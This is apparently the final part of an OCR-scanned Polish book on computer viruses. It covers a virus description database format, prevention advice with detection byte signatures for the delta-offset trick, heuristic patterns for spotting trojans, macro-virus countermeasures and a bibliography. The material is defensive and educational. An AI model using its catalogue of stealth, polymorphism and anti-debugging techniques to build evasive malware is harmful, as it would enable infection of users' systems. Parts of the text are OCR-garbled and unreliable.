wirus zachowuje nadpisywany przez siebie początek pliku na jego końcu. APPENDING (przestarzałe) - wirus dopisuje się na końcu pliku. EOIMAGE - dopisuje się za obrazem pliku EXE (długość obrazu obliczana jest na podstawie nagłówka). EOFILE - wirus dopisuje się na końcu pliku. HEADER - wirus instaluje się w nagłówku pliku EXE. SPLIT - wirus umieszcza siew pliku pomiędzy nagłówkiem pliku EXE a resztą pliku. DATA - wirus nadpisuje obszar pliku zawierający stałe wartości (np. ciąg zer). RANDOM - plik doczepia się w przypadkowym miejscu pliku. SLACK - wirus korzysta z luki powstałej na końcu pliku nie wykorzystującego całej JAP. COMPANION - wirus jest typu towarzyszącego. OTHER - wirus używa innej techniki, nie opisanej powyżej. Dla sektorów możliwe są: AT ttt/hh/ss - na ścieżce ttt, głowicy hh, w sektorze ss. AT_LSN nn - w logicznym sektorze nn. AT_CN nn - w JAP numer nn. TRACK nn - na dodatkowej ścieżce nn. BAD - w jednostce JAP oznaczonej jako zła. STEALTH: określa listę przerwań i funkcji wykorzystywanych przez wirusa; możliwe są dwa kluczowe słowa: NONE - wirus nie używa techniki stealth. DRIVER - wirus instaluje się jako sterownik. POLYMORPHIC: określa, Jak polimorficzny jest wirus, przecinek oddziela słowa kluczowe, możliwe są: NONE - wirus nie używa procedur szyfrujących. CONST - wirus używa stałego sposobu szyfrowania, ze stałą procedurą dekodera. VAR - wirus używa zmiennej procedury szyfrującej, ale stałego dekodera. WILDCARD - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera, możliwego do wykrycia przy użyciu sygnatur ze znakami globalnymi. POLY-nn - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera; liczba nn określa ilość stałych bajtów (w dowolnym miejscu w dekoderze); 00 - oznacza najbardziej zaawansowany polimorfizm. ENTRY - wirus ukrywa miejsce wejścia do kodu. SWAP - wirus przemieszcza (na zasadzie anagramu) część swojego kodu. OTHER - wirus używa innego polimorfizmu, nie opisanego powyżej. ARMOURING: sposoby obrony stosowane przez wirusa; możliwe to: NONE - wirus nie stosuje żadnych metod. CODE - wirus stosuje sztuczki antydeasemblerowe. CRYPT - wirus stosuje kilkustopniowe szyfrowanie. TRACE - wirus wyłącza przerwania INT l i INT 3. KBD - wirus wyłącza klawiaturę podczas uruchamiania. SELFTRACE - wirus używa INT 1 i INT 3 w dekoderze. INT1 - wirus używa INT 1, INT3 - wirus używa INT 3. PREFETCH - wirus używa sztuczek antydebuggerowych, wykorzystujących kolejkę rozkazowa do wykrycia, czy jego kod nie jest śledzony przy użyciu debuggera. OTHER - wirus używa innej techniki, nie opisanej powyżej. TUNNELLING: określa, czy wirus używa tunelingu. NONE - wirus nie używa tunelingu. NEXT - wirus potrafi ominąć ostatnio zainstalowany program TSR. HAND21 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania 21h. DRIVER - wirus używa procedur obsługi sterowników. SECTOR - wirus używa INT 13h przy dostępie do dysku. HAND13 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania INT 13h. BIOS - wirus używa bezpośrednich wywołań procedur ROM" BIOS do obsługi dysków. HARDWARE - wirus używa dostępu do dysku poprzez porty. OTHER -wirus używa innej techniki tunelingu, nie opisanej powyżej. W przypadku HAND21, HAND13 i BIOS można wyliczyć (w nawiasach) metody wyszukiwania oryginalnego adresu; możliwe słowa kluczowe to: TRACE - wirus używa trybu krokowego do odnalezienia oryginalnego wejścia do przerwania. 2F - wirus używa funkcji (13/2F). TABLE - wirus używa tablicy z adresami do odnalezienia oryginalnego wejścia do przerwania. SCAN - wirus skanuje pamięć w poszukiwaniu łańcucha bajtów charakterystycznych dla danego przerwania. OTHER - inna metoda. INFECTIVITY: O - to nie jest wirus. 1 - wirus, który dość wolno się rozpowszechnia. 2 - odpowiada szybkości rozmnażania się nierezydentnego wirusa nadpisującego. 3 - odpowiada szybkości rozmnażania się wirusa nierezydentnego zarażającego jeden plik po uruchomieniu. 4 - odpowiada szybkości rozmnażania się wirusa rezydentnego zarażającego pliki tylko przy uruchomieniu ofiary. 5 - szybki infektor. 6 - odpowada szybkości romnażania się wirusów zarażających MBR. 7 - bardzo szybki infektor. OBVIOUSNESS: określa, jak łatwo wirus jest zauważalny przez użytkownika. EXTREMELY - wirus zawiera groźny ładunek, łatwy do zauważenia. QUITE - wirus zawiera ładunek dość łatwy do zauważenia. SLIGHTLY - wirus zawiera ładunek powodujący efekt trudny do zauważenia. NONE - wirus nie jest możliwy do zauważenia bez użycia specjalnego programu (najczęściej antywirusowego). COMMONNESS: rozpowszechnienie w świecie (pod względem ilości zgłoszeń infekcji). 0 - nieznany: najczęściej trywialny, nadpisujący, łatwy do wykrycia. 1 - bardzo słabo znany. 2 - słabo znany (kilka zgłoszeń). 3 - znany (przynajmniej jedno zgłoszenie od znawcy wirusów). 4 - znany na całym świecie. 5 - bardzo znany. 6 - bardzo znany w przeszłości. COMMONNESS_DATE: określa, kiedy powyższe pole było modyfikowane; data zapisywana jest w formacie rrrr-mm-dd. TRANSIENT_DAMAGE: efekt działania wirusa nie jest niszczący. T_DAMAGE TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony. PERMANENT_DAMAGE: określa, jakie zniszczenia może spowodować wirus. P_DAMAGE_TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony. SIDE_EFFECTS: znane efekty uboczne powodowane przez wirusa. INFECTION_TRIGGER: określa, kiedy wirus infekuje (np. COM, gdy długość pliku ofiary > 100 bajtów). MSG_DISPLAYED: określa łańcuch (podany w cudzysłowie) wyświetlany przez wirusa; jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted". MSG_NOT_DISPLAYED: określa łańcuch (podany w cudzysłowie) zawarty w wirusie; jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted". INTERRUPTS_HOOKED: przedzielona przecinkami lista przerwań i funkcji przejętych przez wirusa; liczby podane jako HEX. SELFREC_IN_MEMORY: określa, w jaki sposób wirus sprawdza, czy jest już zainstalowany w pamięci. SELFREC_ON_DISK: określa, w jaki sposób wirus sprawdza, czy obiekt jest zainfekowany. LIMITATIONS: określa ograniczenia wirusa (hardware, software). COMMENTS: komentarz na temat wirusa. ANALYSIS_BY: określa, kto analizował wirusa. DOCUMENTATION_BY: opisuje, kto sporządził dokumentację. ENTRY_DATE: określa datę, kiedy baza danych o wirusie została stworzona; data ma format: rrrr-mm-dd. LAST_MODIFIED: określa datę, kiedy baza danych o wirusie była ostatnio modyfikowana; data ma format: rrrr-mm-dd. SEE_ALSO: określa, do jakich wirusów opisywany wirus jest podobny. END: oznacza koniec opisu wirusa. ROZDZIAŁ 14 Najlepsza metoda ustrzeżenia się przed wirusami polega na sprawdzaniu nieznanych plików (programów, dokumentów) możliwie najnowszym programem antywirusowym (jeżeli to możliwe, to kilkoma różnymi). Bardzo ważnym elementem działań zapobiegawczych jest także regularne tworzenie kopii awaryjnych, zawierających najważniejsze pliki, będące zwykle efektami mozolnej pracy. Choć niektórym osobom może się to wydać niepotrzebne, prędzej czy później kopie te okażą się niezbędne, i to nie tylko ze względu na wirusy. Nie ma bowiem chyba takiego użytkownika, któremu w pewnym momencie komputer nie odmówił posłuszeństwa- Pół biedy, gdy usterka jest trywialna, gorzej, gdy zostanie uszkodzona najważniejsza chyba, poza procesorem, część komputera: dysk twardy, W takiej sytuacji kopia awaryjna jest jedyną deską ratunku. Obecność wirusa w systemie to nie straszna tragedia, zwłaszcza, że większość wirusów, wbrew powszechnej opinii, nie zawiera procedur destrukcyjnych. W przypadku zainfekowania komputera nie należy więc od razu formatować dysku twardego. Co więcej, wykonanie tej operacji wcale nie oznacza pozbycia się intruza z systemu. Poniżej zamieszczono informacje na temat specyficznych, działających tylko dla wybranych obiektów, metod. 14.1. Ochrona przed wirusami plików uruchamialnych Oprócz sprawdzenia programem antywirusowym pliki uruchamial-ne można dodatkowo pobieżnie zanalizować przy użyciu debuggera. Wprawny użytkownik bowiem często już po kilku, kilkunastu instrukcjach kodu programu rozpozna, czy nie zawiera on wirusa i poprzez przerwanie jego działania uniemożliwi infekcję systemu. Oczywiście powyższa metoda wydawać się może bardzo amatorska, jednak jest skuteczna, jak zresztą większość tego typu sposobów, gdyż pozwala wykryć nowe wirusy, których nie rozpoznają jeszcze programy antywirusowa. Na przykład wykrycie podanej poniżej sekwencji na początku badanego programu świadczy prawie na pewno o tym, że program ten zawiera wirusa. Jej wykonanie umożliwia bowiem uzyskanie relatywnego offsetu, pod którym umieszczony jest w pamięci kod wirusa. Wyznaczone przemieszczenie jest przez niego stosowane przy dostępie do zawartych w nim danych (za pomocą adresowania pośredniego: bazowego lub indeksowego). ; Sekwencja znajduj¦ca siŕ na pocz¦tku wiŕkszoťci wirusˇw plikowych CALL TRIK ; wywo-anie procedury TRIK umieťci na stosie offset do ; nastŕpuj¦cej po niej instrukcji (POP REJ16) TRIK: POP REJ16 ; zdejmuje ze stosu offset, pod ktˇrym jest umieszczony ; rozkaz POP REJ16 i umieszcza go w rejestrze 16-bitowym, ; najczŕťciej w ktˇrymť z : SI, DI, BP, BX SUB REJ16,???? ; ???? najczŕťciej =3, po tej operacji wartoťŠ REJ16 ; bŕdzie ofsetem wskazuj¦cym na pocz¦tek kodu wirusa, ; wartoťŠ 3 wynika z d-ugoťci rozkazu CALL TRIK, czyli ; (OE8h 00h 00h) Poniżej podano wygląd tej sekwencji dla różnych typów rejestru Rejl6. Sekwencje dla różnych kombinacji rejestru REJ16 Rejestr 16-bitowy Sekwencja bajtów Kod po deasemblacji AX E8 00 00 58 2D 03 00 CALL TRIK TRIK: POP AX SUB AX,3 CX E8 00 00 59 83 E9 03 CALL TRIK TRIK: POP CX SUB CX,3 BX E8 00 00 5B 83 EB 03 CALL TRIK TRIK: POP BX SUB BX,3 DX E8 00 00 5A 83 EA 03 CALL TRIK TRIK: POP DX SUB DX,3 BP E8 00 00 5D 83 ED 03 CALL TRIK TRIK: POP BP SUB BP,3 SI E8 00 00 5E 83 EE 03 CALL TRIK TRIK: POP SI SUB SI,3 DI E8 00 00 5F 83 EF 03 CALL TRIK TRIK: POP DI SUB DI,3 14.2. Ochrona przed bombami logicznymi i końmi trojańskimi Ze względu na sposób działania, nieznane szczepionkom antywirusowym konie trojańskie i bomby są trudne do wykrycia, gdyż właściwy, destrukcyjny kod może być umieszczony w dowolnym miejscu programu, tak więc znalezienie takiej sekwencji nie jest zbyt łatwe (a gdy program jest wewnętrznie skompresowany wręcz niemożliwe). Z pomocą przychodzi tu omówiona wcześniej heurystyka, technika polegająca na wykrywaniu potencjalnych agresorów na podstawie charakterystycznych sekwencji kodu. Najczęściej programy poszukujące koni trojańskich w podejrzanych plikach szukają instrukcji wywołań przerwań programowych 13h (sekwencja 0CDh, 013h) lub 26h (sekwencja 0CDh, 026h), używanych do odczytywania i zapisywania sektorów, które ze względu na swe działanie występują raczej rzadko w typowym oprogramowaniu użytkowym, gdyż normalne programy nie korzystają z bezpośrednich operacji zapisu na sektorach, a najniższy poziom, na jakim działają, to operacje na plikach. Potencjalnymi końmi trojańskimi są najnowsze wersje typowych i często używanych programów użytkowych, np. antywirusowych i kompresujących, tak więc należy się z nimi obchodzić dość ostrożnie. Dobrym rozwiązaniem, pozwalającym uchronić się przed większością koni trojańskich i bomb, może być zainstalowanie monitora antywirusowego. Konie trojańskie są zwykle pisane przez początkujących programistów, którzy do przeprowadzania destrukcji używają funkcji bibliotecznych języków wysokiego poziomu, bądź też przerwań programowych, a te mogą być łatwo przechwytywane i kontrolowane przez monitor. 14.3. Ochrona przed makrowirusami Ze względu na to, iż bez programu antywirusowego trudno jest wykryć wirusy w plikach DOC czy XLS, można przedsięwziąć pewne kroki, aby zminimalizować szansę zainfekowania systemu: > wyłączyć wszystkie makra automatyczne przy pomocy własnoręcznie napisanego makra (najlepiej nazwać je AutoExec, dzięki czemu zostanie ono zawsze wywoływane podczas uruchamiania Worda): SUB MAIN DisableAutoMacros 1 END SUB > aby wyłączyć przy uruchamianiu Worda makro AutoExec należy uruchamiać aplikację z parametrem /m (WINWORD.EXE /M); > podczas wczytywania plików trzymać wciśnięty klawisz SHIFT, co spowoduje zablokowanie automatycznego makra AutoOpen; > od czasu do czasu przeglądać listę makr zawartych w szablonie NORMAL.DOT; jeżeli zawiera ona jakieś makra automatyczne lub makra o dziwnych, niespotykanych nazwach, możliwe, iż szablon jest zainfekowany. Makra można przeglądać za pomocą opcji wybieranych z menu Worda PLIK/SZABLONY/ORGA-NIZATOR/MAKRA, bądź też NARZĘDZIA/MAKRO (niektóre makrowirusy potrafią już oszukiwać użytkownika chcącego użyć tych funkcji); > ze względu na to, iż wirus może nie przejmować żadnego makra automatycznego, lecz tylko podmieniać polecenia menu (najczęściej menu PLIK/ZACHOWAJ, PLIK/ZACHOWAJ JAKO), powyższe środki mogą okazać się całkowicie nieskuteczne. Jedynym rozwiązaniem jest wtedy użycie najnowszego programu antywirusowego. ROZDZIAŁ 15 1. Leonid Bułhak, Ryszard Goczyński, Michał Tuszyński DOS 5.0 od środka Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1992. 2. Stanisław Lenkiewicz Sterowniki urządzeń zewnętrznych w systemie operacyjnym MS-DOS Wydawnictwo PLJ, Warszawa 1993. 3. Eugeniusz Wróbel Asembler 8086/88, Wydawnictwa Naukowo-Technicz-ne, Warszawa 1990. 4. Marek Kotowski Pod zegarem (Asembler 8086/80286), Wydawnictwo Lu-pus, Warszawa 1992. 5. Zbigniew Mroziński Mikroprocesor 8086 {Podręczny Katalog Elektronika), Wydawnictwa Naukowo-Techniczne, Warszawa 1992. 6. Ryszard Goczyński, Michał Tuszyński Mikroprocesory 80286, 80386, i 80486 Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1991- 7. Piotr Metzger Anatomia PC Helion, Gliwice 1993. 8. Krzysztof Kierzenkowski Programowanie z wykorzystaniem pamięci typu extended i expanded (Pamięci extended i expanded), Wydawnictwo Lupus, Warszawa 1994, 9. Arkadiusz Andrusz, Maciej Sokołowski Mapa pamięci IBM/PC w przykładach w pascalu i asemblerze , Wydawnictwo Lynx-Sft, Warszawa 1995. 10. Andrzej Dudek Jak pisać wirusy O.W. Read Me, Jelenia Góra 1993. 11. Microsoft Word, Podręcznik użytkownika Microsoft Corporation 1994. 12. Microsoft Excel, Opis funkcji Microsoft Corporation 1993. 13. Władysław Majewski Uwaga! Komputerowe wirusy " Wiedza i Życie", 1989,z.1. 14. Karol Szyndzielorz Projektanci komputerowych wirusów "Wiedza i Życie", 1989, 15. Marek Sell Help do programu MKS_Vir. 16. Phalcon/Skism: 40HEX (issues 1-14). 17. VLAD: VLAD (issues 1-7). 18. VBB: Viruses Bits & Bytes (issues 1-2). 19. Immortal Riot: Insane Reality (issues 4-6). 20. NuKe: NuKe IntoJournal (issues 4-3). 21. Dark Angel VirGuide (issues L-?). 22. Raif Brown Interrupt list 51, 23. (C) (P) Potemkins Hackers Group Opcodes.lst (revision 1.27), Moscow. 24. Marl A. Ludwig The Little Black Book about Computer Viruses, volume 1 -The basic tcchuology, American Eagle Publications Inc. 1991. 25. Vessolin Bontchev Future Trends in Virus-Writing Virus Test Center, Uni-versity of Hamburg, Germany 1994. 26. Vesselin Bontchev Possible Virus Attacks Against Integrity Programs and How io Prevent them. Virus Test Center, Univercity of Hamburg Germany 1992. 27. Vosselin Bontchev The Bulgarian and Soviet Virus Pactories Bulgarian Aca-demy of Sciences, Sofia, Bułgaria. 28. Vesselm Bontchev lnVircible Test from Virus Test Center University of Hamburg. 29. Inside the Mind of Dark Ąveriger Personal Computer World, July 1993. 30. Julian Bibbell Viruses are Good For You USA: WIRED Ventui-es Ltd. 1995. 31. Sara Gordon Faces Behind the Masks November, England 1994. 32. Tarkan Yetiser Połymorphic Viruses - Implementation, Detection, and Protec-tion USA, Baltimore, VDS Advanced Research Group 1993. 33. Gary M. Watson A Discussion of Polymorphism Data Plus 1992. 34. Dmitry O. Gryaznov Scanners of the Year 2000 Senior Virus Research Analyst. 35. Epidemiology and Computer Viruses Alan, Solomon 1990. 36. Viriology 101. 37. Anthony Naggs CAROBASE Format Reference revised edition 1993. 38. Donn Seeley A Tour of the Worm Department of Computer Science, University of Utah. --------------- info ------------------ orginal book "Wirusy" by Adam Blaszczyk scanned and ocr'ed by misha [cp'99] misha@vc.pl. 1999.06.08 ---------------------------------------